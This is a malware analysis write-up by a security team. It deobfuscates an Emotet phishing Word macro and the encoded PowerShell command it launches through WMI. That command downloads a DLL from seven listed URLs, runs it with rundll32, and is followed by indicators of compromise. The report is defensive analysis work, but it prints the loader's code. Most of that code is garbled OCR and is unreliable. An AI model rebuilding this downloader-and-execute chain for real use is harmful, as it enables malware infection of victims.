Deobfuscating Emotet Macro Document and Powershell
command
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Fareed

NetbyteSEC malware analysis team has come across a Microsoft Word malicious document
containing macro code. The suspicious email was received by our client before the news
of global law enforcement took down the Emotet cyber criminals team.

1.0 Malicious Document Technical Analysis

MD5 Hash 809928addbff4e5f9b7d9f55e0ac88e9

Filename file-20210122-QRN6275.doc

File type Microsoft Word 97 - 2003 Document (.doc)

Upon opening the malicious document file, a common phishing method uses to bait victims
to click the “Enable Content” ribbon button display in Microsoft Word as shown in Figure 1.
Normally, a document like this indicates there is macro content in the document. The
purpose of lure to enable the content is to allow the execution of malicious macro code inside
the word document.
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Figure 1: Content of the lure document
Enabling the content will execute the macro embedded in the lure document which will lead
to malicious execution activities in the victim’s machine.

A quick analysis using oledump script on the file disclose three macro content in the
document sample reside in stream 7, 8, and 9 as follows.

EMNUXEr emnux; Ork/809928addbT Tae3T9b7daT35e0acoBes oledump.py sanple.doc
1: 146 '‘\x@1Comp0Obj

2: 4096 '‘\x@5DocumentSummaryInformation®
3: 584 '\xeSSummaryInformation®

L H 68731 '1Table®

5: 513 'Macros/PROJECT

6: 134 'Macros/PROJECTwm"

Tz m 701 'Macros/VBASBrnvGopphggdvTc

8: M 1115 'Macros/VBA/I48Tubxzohve'

9: M 25138 'Macros/VBASQxx57jeihevTkpe’

18: 3971 'Macros/VBAS VBA PROJECT’

11: 669 'Macros/VBASdLir

12: 121478 'WordDocument®

13: 1582 'word’

Figure 2: oledump result

Analyzing the content of stream 8 reveals the entry point of the macro which is
the document _open procedure was used to execute the macro code whenever the victim
opens the malicious document and enables the content

I HEresnux: -/ work,/ 8099 bt fdeSfabTds lacBB8e9% oledump.py sample.doc -5 7 -w
Attribute VB Name = *BnvGopphggdv7c®

nux: =/ work/B809928addb i fdesfabTdaiSScdaciBedss oledump.py sample.doc -3 B -w
Attribute VB Name = *T48Tubxzohve®

Attribute VB Base = *1Normal.ThisDocument®

Attribute VB GlobalNameSpace = False

Attribute VB Creatable False

Attribute VB PredeclaredId = True

Attribute VB Exposed = True

Attribute VB TemplateDerived = True

KA

Private Sub Document open()
Lemldiewh3fndduedd

S0 L e - - % I
Figure 3: Content of steam 7 and 8 of Oledump
In the stream 8, once the document_open procedure being triggered, a function with a
random character name “lemid5ewh9fn44ue4d” will be called which then will execute its
code that resides in the stream 9. The VBA file for stream 9 containing 448 lines of macro
code uses for the malicious actions explained on the next section.

1.1 Deobfuscating malicious macro

The VBA script containing 448 lines of obfuscated macro code. The macro code was being
obfuscated to produce an anti-analysis to make analyst difficult to read and understand the
code. This technique is commonly used among cyber threat groups to make obfuscated their
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code. In this section, the NetbyteSEC malware analysis team will explain the method for
deobfuscating the macro.
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Figure 4: Snippet of the VBA code

As a solution, debugging the macro code can help to trace each of the content of the variable
and dive into the detail of the macro code.

First, the code builds long obfuscated strings and append the strings to the variable name
V6x19m6t_qhh. The encoded strings as follow:

wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh bx [ sh bx [ sh bsx [ sh bx [ sh bx [ sh
b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [sh b_x[sh bx [ sh bpx [ sh bx [ sh brox [ sh bx [ sh
bcex [ sh bsx[shbsx[shbx[shb

The encoded strings then will be decoded and saved the clear text of the encoded strings in
variable G1i061417oxvyh_k as shown in Figure 5.

Lt |.|l.'

Next
izoCyhjDH:
I Glid€l417oxwyh k = Beplace (Vexl9mét ghh, "x [ sh b", Nkrtdutupxolr)
GTi06147 Fowvyh_k = "winmgmitswind2_process *
Set sxUED ITSEAGT]

Dim EIwggHR, 13GzDOJS, tZ2yxCp As Long
Dim fwvBXIGE As Word.Paragraph
Dim GeRrHDHJH{) &s Byte

Figure 5: G1i0614170oxvyh_k value

At this point, the macro builds an encoded string and decodes the string to become
winmgmts:win32_process indicating the VBA script will be using something related to WMI
classes for the next instruction.
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Next, the VBA script creating an object which is the winmgmts:win32_process, and sets it
to variable F_yz90ots5y0q916g as shown in Figure 6 below.

Loop

Next
agelFHE:
o Set F_yzSotsSylgllég = Createﬂbjecz{Feva?apwmjwuﬁﬂ
GoTo YXSJXELH Fev2w lapwmwub = “winmgmiswindd_process”

et mbBEmMCBEG = noWTc
Dim UJcHAAGCD, UE=EnGgEp, SpUgGEZ As Long
Dim HgHFHsSe As Word. Paragraph
Dim ¥SyxGk() As Byte
For Bach HgHFHsSe In I40fubxzohwve.Paragraphs
Figure 6: F_yz90ts5y0q916g value
Inspecting the local variable F_yz90ts5y0q916g will show that the variable has become the

SWbemObjectEx object which normally can be abused to execute a command line.

Figure 7: F_yz9ots5y0q916g becéme SWbemObjectEx

The macro code then builds another encoded string and append the strings to the variable
name V6x19m6t_qhh again. The encoded string is a bit different from the previously
encoded string. The encoded string built as follows:

X [ sh bx [ sh bcx [ sh bmx [ sh bdx [ sh b x [ sh bex [ sh bmx [ sh bdx [ sh b x [ sh b/x [ sh bex
[ sh b x[shbmx[shb?x[shbsx[shb*x[shbgx][shbx[shb%x][shbux][shbsx][shbex
[ sh brx [ sh bnx [ sh bax [ sh bmx [ sh bex [ sh b%x [

NEX L
izoCyhjDH:
qp GliDEldl?ﬂxvyh_k = Heplaceiuﬂxlgmﬁt_hhh, "¥ [ sh b", NkrtdutupxoZr)
'353F51| VEx19mét_ghh = “x [ sh bx [ sh bex [ sh b [ sh bdx [ sh bx [ sh box [ sh.
Sel sxURD = 11I5TAGL
Mam W TueaHdD TAC=TnTa FFarwTr Re T Ao

Figure 8: Decoding encoded strings

Next, the encoded string will be decoded and save into variable G1i061417oxvyh_k shown in
the above Figure 8.

Inspecting the variable, the decoded strings are actually a cmd command line of msg and
base64 PowerShell line. To view the malicious command line, adding a MsgBox line to the
variable will display the full command line to our screen as shown in Figure 9.
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It mQrOgCL{ECZRatBD) 46 Or ECZRatBD ECzRatBD Then

desce = "gagdeace®™ ¢ JTHSCeREaE S D% 4 1 ¢ 8 0 W ¢ iRcoDafmn SOy 4 ] g
LOJESEHgH = B Microsaft Ward 4
End If
ECzRafBD = ECzRaf
Loap omd cmid Jo mA st g Busername® A WoS rd expferien®oed an erfror tryit ng to
Hext op®en thhe itle & phowetrstherl® -w hitdd®en -"etnc
vzCEIF: UwBlAHOAlAA AT gAWBCACCAKWARAEMAM gAZ ACCARDAGATG AW WEL AHKA

JaxeoSodgdtnl = Mvewyb salgra UABAFDAKAAIAHSAMWERAHSAMABSAHEAMIBIAHSAMOEIACIAL QBmACCAY
[ﬂsgﬂz_\x [Jaxecﬁ;\ﬂ_‘-thnl] I J.ﬁEIF«.GUHLgBJHGEJ’-LgEEAtkALgI:I-IF'\.I:M-".LIP.B'\-ACEALP.-’mP.HkFwaP.s.-’-L'LP.UgF-rlF-.
—_— s b BzAHKAL AN ACKALAAACKAIAAT AT AR LABAHYAMAA S AGWASOADACH
Set XDLLFTD = MxoCHFzGR AP ACARAWEIAHIACABLAFOA KANAHEARMABSAHsANAR SAHs ANGBIAHSA
JZEPPE, JLnBGCI, bDed MOBIAHSAMWBIAHSAMOBIAHSANCEIAHSANWEIACIAAAAGYA WETAHKAL
WEOAEUATCALACEALAANAG A hwhsACCAL g Bz AELIALGARACWA W BWAE KA et
SACCATGARAC WA IWBIAHAA IwASACCARCIBIAC cALAANAEBAS BOAHTABCERA
GAADOBEHAGUADgARACKATAAT ACCAVAR T AHEANgBEAGYARAASACTALIQATA
YA AG A ALABEAGMAAB RAHLAN A DMAMARAC ANKwAGACCASANZ
ADAAUAATACOASTASADMACIAIAC gA IWBNADMA WArA CoAMgBEACAKOA
: - : TACABKAAGATAARABIAFIAIAAQAC QA EWAGEACG AIACSAIGBIAEEAIGATAC]AYg
JEnBECT = UBound (SPRg g 4o e o0 8inGMAMGAZACIAKDAgACKAL gBWACEATABVAGUADGABACIACW
JEEPPE = 0 BSAELADOBUAGUARABGAGEACIBIAGUAYWBIAGEATABSAFKAIGADACIASABP
Set efbolndl = RMLeGEVE | aspaRQAgACEAIAACACgAAARAHYADOBEACCAKWARAEMA b ACSAKAARA,
GMABGEMACCARWARAHIAZGA |

Dim
Dim LdSuHah A= Word.Parag
Dim sPngJECOD() hs Byte
For Each LdSuHahk In T40fwy
sPngJECD = LdSuHak. Ra
dscc = "sadsaccc™ & L

g

=
—

Figure 9: Malicious command line generated

Finally, the macro will execute the command using winmgmts:win32_process explained
before and exit the macro.

LR
Next
GDsel:
o F_¥z%ots5y0g916g.Create nnjasd, Itfdbdx0blo3h, JzmuSjymd 2zdw2hk
nnjasd = "cmd cmd fc m*s*g Fusername® v Word expfenen®ced an error trp .
Set CcolAJVE = ELEIbin]
Dim rWTbgFRE, gOwgdF, gsofh As Long

Figure 10: Execute command

The command line will first run the command msg to send a message to a user. The figure
below shows the message box that will be displayed to the victim once the Macro is
executed.

Ls EBHJEE - WJILE = 49

L]

iauxac;umrvmwxuwwﬁ.m\
umwrmu.mmlfxummurmuaﬁmqmaa o whadhs 1ES0EY Sy I -
o BT A AL ek LA A o g T A B R LA S o S

AR AGAL A BN B A RACATILE DAL EHLAM AR IA FL AR ATTAH LA g E A HLA

Wty A i A AN AC AN I B A AR B AT LALAA A A el LR AL "Word e n #mor ryang o open T fe
A AT Ch AL LA SAGAIA AR AL AT ALI G ol o BTN Pk,

AT AT g o B A AR L B A ST A B Bl

Tl AL EMAL L A A AL AL TAL CREAR AL AN BERG Y A AL SAL CIALgAZA :
CIFANAR AL LALRSEAL AL S A H AN AL A TN AL A A AL BAL S AGAL JALAAT =
ACUAALUAAT ACCHASEIATADIRACHATAL oA b MACHAL hore A CANGBEAL SAXIIA

T AMIAR A AR LAF LALAR AT 58 GAWAG LA AT ok I BUAEERigAr A LKey

BLAAGLACKGA AN AR LA A AL G BVAG EATABVAGL AD b e LA

IRATLI AL G AR ARG ADg AL U R v A GV ATLAF KA AL CIARANR

AR AR AGAL WAL AL GAL AL AN TACK] BAL cAN s AnA VA fadpil LAAANA

CAtAECE A cA K wSAAHIAT SN

[

Figure 11: Msg command
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The encoded PowerShell command will be explained in the next section.

1.2 Deobfuscating encoded PowerShell command line

Retrieving the encoded PowerShell command-line reveals that the executed command is
actually a long-encoded line than it shows in the MsgBox shown in figure 9 in the previous

section.

powervtel] -w hiddea -snc

Ut LRHCA L AR A LR Bl R L EATALCARDAEAL LAT BAKARLRH | AR WL LALOERAL £ AWAS | ALIRL 1 IAGEAL fEE AL kit (AT ALMAUAL AC LA LAR,
TAELR 5 AL CALSRNA L Tl A A L R A L AR A LI LR el AR B R H T WA SA T B SR A A TR A L AR eE DARMA L AB L AT BA AR LAHS i A
SAMEIRHS Tl AL 1104 LAGYA Twl TAHS R B RAE U TORURC A LA MR bed 5 40 CALZE LA EURUEA P ma wEt b A Tma S AL AT G4 040 ma B LEHAA Tmas AL LR RGEIAC CALARME AR SIBIASA LB RGAAS
T GILA g A kA T AT AL AR T AR AN BAAGY A AN RALT AL 2 AD TR AT 5 AT AR GMALA TR AH T ANT)A A DHAM 5l A KA DDA AN TADARLUA T F/C DA ST IHAGTN D A S ADSA TuArACC RN ERE
HCCARDATACANCAA AT ARRARIAS T AL AN AL AT IEWAGEAL AL AC RAT K0 A DEAT AT AC TAY R BMATUAD Y 1 3 AGMAME AT AC T ASDA A CcAL g IAGLA S LN ST Pt
WP R BATASAT LAL ACALYASALFAL DA FARAL A A LRACAL GAKAAT AN TAS EBALL AkwARAT HA IR AL  AEA AZEARALIA AT AL CARDAS AL R EARAL A RS A L AR RARAL LA T
AEAC A TG LA A AL LA RN AL A A AL A A ARARIAHY A AL CAT AR ACTANA L AR AL AL B ARIAAAE fAln RO ERAL LA §AUA LA e AL CARS AN A DA AIANALKALABE AT MAVARSES,
AT RS F I B AP T 5A F R Ak s, TARCA ARARIS ERABGAL AT 50 Tal SR T AL AT LA G L ARTIRUALEAY gRRAF TASERRG | ATAETACALK LA AGIAGG LN KA rdDicl
BARIAC T AR A DAL GRWAT EAEARNAGIAT w0 Gead TAA AT kAOpAGALT ALkl | AGMA VABNAGAMIEA A Gk AN R AR A g B ARG AT e bl A T T AR PACARKLAZ AT CAVALNAC £ A Tl R AR Tl it Tl
SADTE Faibiz AT A TABDADN L ARTICADIARAA AT i SAARAL A Jab ik FEA mAp Al n A TAT RADC B g A LADEA L AN LACAAPDA DAL A Dl ATYA TwAr AL AN E AT CAKIATACCASAN AL ARty W A RARNAF QA Tk r AT
CANARZAL C NGO FAT cARAAN AT R ADRAKAF T AaRAL AGQATGES AD e APQA LA L ATwiNAL UAKRASAL A Tell PAL LA Jwhr AC e Adwl TAL: ACwh oA AR BURG AT GARA CLA JeBnAlc A TwApAC AR RAL AANGEIAC cAK
AT ARY A PRGN A D AN LRt AT B B T mS O RGE 1A CANAPRCAAL RAT AL R Bu A L wt R DAE U LRA R0 2 S BRRL L AR A EERGwia A0 RALAEDRGRASRATAT LAXGA S0 AR laragaud]
EH AR HRAT AT AT CAL g ER R L ATAA RS TAR Bl s et P B AR T DR RN A0 AT EARARAE R Judt 1] C AR SR C AR DA RALCRFRAAT b ADm K hEmB SEHTAP B e A 8] AR RHE
BclBA R AR g AT AL ALRADS R 1L WH A L Wi A AR A A T A SRR AT R wArAF S TARACT ARIArALG R Twfiadel Ah Talr ACT AV GARAT A Kuita A0 FAL Wi RAH: Rdwd sdl c AR ANHAA TuApACLAKL
ArUATGEA Tl R AR G EAY AN T A b oo AL Al A Tl L AGAA Juoh TS ABG v AHE A TmA AL 5 A JullwheC A Kis AnAC AN Y shrd ] e AU A BALg IDAL T Alwhr LA D AnACk AT mARALC A e b CAKSANE
LY AR A b KR B £ AR DA E A, o 1 £ AL B i A o AT S R AR ol L, Yoy AN Do Ao B £ A e A BIOTA 1A 7 T L AR Fd r v A Lt R b A A A Lt B wl Al AKMENALEA T pAL A8,
KARN M EA AR b A 84 Il PRI S A Tl AT CAKmANRGES Tma rAL TR beB LA BA Sl r B L AT T AGCALwaA A kA S ANA TR A Jet vl g8 bwb A CAS A PADE RUCA A kA KRR L AL ARl CaKwAAHEA T AR,
ALKBKSAAAF 58 L ARNALS & Jall 2 A508 Duir B T4 Tmd GAG LR o AL CAKmEARILEA Bl FATCROWE FOC CARINLTALEA Jofl 51 Dt £ AL CA CRANALS & detn AGAA T BAL LA mA n LAY AN AT kAR LLAL (RS
o8 e TR O T Ak e T A A A A AL AR 4 BB A D B R A B BB A T Pt L 2 AR AT AR AR LT R R AGE AT AR 4 Pl AT AL Ted g AT S ARARAAHGH TA T AL CALmtEHEA ]
SACALCATABACRAL RARLCR A r G EA TARNAC L ALARRAG LAD A AT B T B AT PARAT A el LAC c AR S AL Tl 1 vl £ A KnAnAH S Lo BRCA T ACCANE UL AN AR SO AY GAn AC L ARARRAIMA T
WCEA R ALMA P AT 8 B A L A RA VIR Fanh A A A A ot SR et KA b A A L AN v DAL sAn AT /s T A L8, r 4 A B LA A T rA B B Al ARTA AL A ol 2 v c AR ANG,
A L A B AH A v A LA RS SR kA KRR AVTARS LA bl L AGLA AN L e ol CATNAN AL S A TmAv AL R Bt A0 58 Tma A 5 AL AARAL A Km A SHMAL ARNAL SR bt DAL CANNAOBL L AT GABALAA b
APALCA LmANA LKA AL CARTERAL LA A FARARCAAA AL S A S B SAHE AP IS AR EARH A TmA S AL A b AGUA CmAn AL 5 & Tl BT LR A ASARNA LR AKmARAEEA Dufs r AL 4 TmmaA HAR Jed P AL CATTE A
Lo AROA TR EA TR AGEA TeA rAD CAHARLAN A TmA AT | ARAARKGIAVGANAL vA Tull A AR Judp T A Tl A AR AT Alratet AT 1 Tt AL AR mde R e i A B P Lk AR n AGTA T A g A Tl E AL A,
ARG RS A LR Kadea A C AL BN A Teh rAT oY g An AT kAN A A E ok Tuh r A A i A L AN mArd D LR AT kAN AR s AL AN DA Cwn AT 8 A Tl OALC A AR Y G AC AN DA r AT AL i AT CAKRE,
GALCRYGEL AGIAANEUACA & TmAr AL cAANAN AL nA Tl v AL ADA rad cAC ABRAL L ASmA RATURL A AC A TwE 1AL LA Teh AL A d i AGUA TRArAl: A BRAG LA Tw AAL uA Tell s ALCAKha A EAL S AL AKmARAD
BABGRNALEA o rAL A i G oA TmA AL AR s AL kAR AL A FRANL LA Jwb 34T A JmBr ALC ALmA ARG LABRACAA A pALS A Jull £ A4 CARRANBG AL AATALL8 JeB LA CARRENADSA LA rAL Sl duiv RG A AT
whrdl C bl s b Tl G Tedtir &7 A g Bov £ A w1 el 1 A0 A Em AN AN A rA ] A K A0 C AL @ARAL s Jeft | AGEA D AAT kA% miod AL w0 4 DBl Teti ph ] o0 e DD C AR mARAHAL Fedr
T A TR AR A A AT R Do A L sk e s o A P L ok L Dt T A Do A A Toah el el T g oy A vt Fim AP OR g AR MA BT AT MRS AT A AT 0 T A AT Akl KK RN
o e, A Pt A RA T A D Y i b BT T A AT g B A T A g AT AL AAN AN L AR Rm b kA g A Ak ol 7 AGHA Yk s AC TN AR A g s ADIcA chak A Adwll kA Do AR
B AT RTA GRS AT B2 AF AN BAEG AL AN 1 AL 8. 1A L AT B AT wh T VNAT LN EAN B ALY R A n A TR AF ¥ At 1 FMAKA 7 A0 DA T A LAD g A AT A S BT A £ AN mA b Lo AN AT nA S A2 A,
FOR bt A e BRI AL G| AEE A wBa A RARARKAE L ARAH 1 A=MADA B LRI AT A3 A GAR LRAR AFLUCITE ERHIAGSAmARARKOE P AHON L Z ESAHE AR AA wt ] B8 S BIRL L AR mARAA el LEBAYZRARL S JellpE1R
Y BIRL AR GA FUBCRT AFQART B LA A AT EHFAFOAL JERRAC I A Em S DR ACAS VARBRC L AL CHEAE AR wB AR ARARQREAAV (DA QAR B AEwd FOA T AL R TR BSARON A EAI AR TA ma | AR AFYAIAR
CABATGRE AN AN TACGAY AR ADTANAA AL EA Tl FACT RR b 00 A N A £ A Boih i F AR T b DaB G AT AA AL G o AT £ | M SR A B L £ A i PP R LA AR A AN ERSAD:
GATARTAH2 AWl A AT R RTUAYABOAGE AR AL TATARTAG T &[N BTSN A 2 ATYABARDA AL wl sk g Ty A0 C ARARNHUAR Rk MG bALT AN & T ol DAL LR pADA R AL g TATRAKARI R A
[FARkR e AL L AT DAL RRDAr Rl EA T By B LA ACRAKRANBLE A RARAL AR BAALAAT WE S AHIALIEE 1AL AR A LAC RS IS TA LT AL AL RDSALE ANEL A FaBtaADg A bui rAL L ARNEDALE RNDAT
RO 1AL EETAGE Ared P A (R NIRARS EARmATAL ERKRAT AT VADARAAL A Tt nA L CRRTAR R EASmARAL A OB A0MA T I0RGRA 08 TAMRE TOAR AL GAMIE PAE L KT BN CRlMAmRL L ARRARADU RS whsivl kA

Figure 12: Powershell command

Decoding the encrypted base64 strings will give this output as follows:
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Figure 13: Decoded Powershell base64 line

After removing a lot of garbage characters and cleaning the code to more readable and
understandable code, the result shows as follows:

$8026 = “Systen.I0.Directory®

$dwiSLI = “Systes.Net.ServicePointManager®
1 VarldbleSyston. I0.Directory.Valle: :CREATeDM roc toRY[ L \Wsers\viradnin\Scnlr P\ Phbasvl
Syiten.Not, ServicePeintManager ~ValUeONL ! SccURiTyPretocol™ & ('Tleld');

i3, o/ ap-contant, FG1Lns

won e = whadas 1)
35 . confadministrator, TUHe1t
paraterial . com mp-adming ww)

sdnin. 1-:p terial.con/ s/ jGows/
hif v bl 1. cony templatos/ GrAy /"

1 foreach (%1 in $ukL )i

Leyl
15 Hesw-0bject ‘:_;:MI'LT HET, Ilvi'\- LEeal ., DOWNLOADFiLe( 0, “Co\Usersiwiradala'\ SenfrfTPbdasv 0660 101" );
16 IF ((&( Ger-Tuem') "C: rsiwiradnin\Soafre? 31Fnﬂ FADGED. 1T ) . "1ENGTh" =g& 32368} {
17 1 .'.""." 1 mCai\Users\wiradnin\SonFrfNPbbasyPADEED. AIL", "dnySering ' u0stRINGE J;

18 hreak
20 earen]

22 ]

21}

Figﬁre 14: Clean code of the obfuscated Powershell

In summary of the above code, the PowerShell first creates a directory and subdirectory
name %UserProfile%/Scnfrf7\Pb6asvf. After that, the code assigns seven URL strings to
variable $URL which then will be used in the next block of code of for-each statement. The
for-each statement will get the element of the array in the variable $URL and download the
DLL file. The file that being download will be saved as O66D.dlIl at the created directory
%UserProfile%/Scnfrf7\Pb6asvf. If the executable file has a length of more than value
32360, the code will continue to execute the DLL using the rundlI32 utility with the string
“‘AnyString” as its first parameter. Vice versa, if it is lower than the value 32360 or the file not
available in the directory, the code will be break and exit.
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1.3 URL check

Navigating and download the content of all URLs only brings to the error page. Thus,
retrieving the DLL file is failed.
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Figure 15: Fiddler result

Checking all the URLs we found in figure 14 with URLhaus Database shows that all the
URLs were tagged as Emotet malware URL.

Dateadsid (UTC) Malwars LR Status Tags Reporier
0210122 104605 e 2 . tenk TG T, El EEeEscEa

Dateadded (UTC) Malware URL Status Tags Reportes

20210122 104608 tt 1 mgoh1s { oin: | emaizt ] epochi | ene | beods: |

Dateadded (UTE) Makware WKL Status Tags Reporter

F0ETON-EE 1AEDS s skoves. net/benj Khatiogt { omize B croizt || epocat | exs | hecdo | waga_tw
Moreover, one of the samples that identically same macro code and PowerShell command
pattern were found in JoeSandbox public submission. The result of the JoeSandbox detects
the sample document as Emotet.
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Figure 16: https://www.j.(.)‘esandbox.com/anaIysis/343392/0/html

2.010Cs

The following MD5 hashes are associated with this Emotet malware analysis:
1. 809928addbff4e5f9b7d9f55e0ac88e9 - file-20210122-QRN6275.doc
2. bde8abd3c29befafb3815d9b74785a3c - VBA file
3. 1542602628751eb95eecd6c00ff5cee8 - O66D.dll

The following domain names are associated with this Emotet malware analysis:

1. 213.82.114.106 (Mail Server)

. hxxp://lwww.pcsaha[.Jcom/wp-content/fG1tM/

. hxxp://rosvi[.Jcom/img/9h1Q/

. hxxp://skver[.]Jnet/benjamin-moore-xhaQo/t/

. hxxp://fultonandassociates|.Jcom/administrator/I[UHeit/

. hxxp://zippywaytest.toppermaterial[.Jcom/wp-admin/wwbdJ/
. hxxp://admin.toppermaterial[.Jcom/js/GcwS/

. hxxp://notebook03[.]Jcom/templates/G2Ay/
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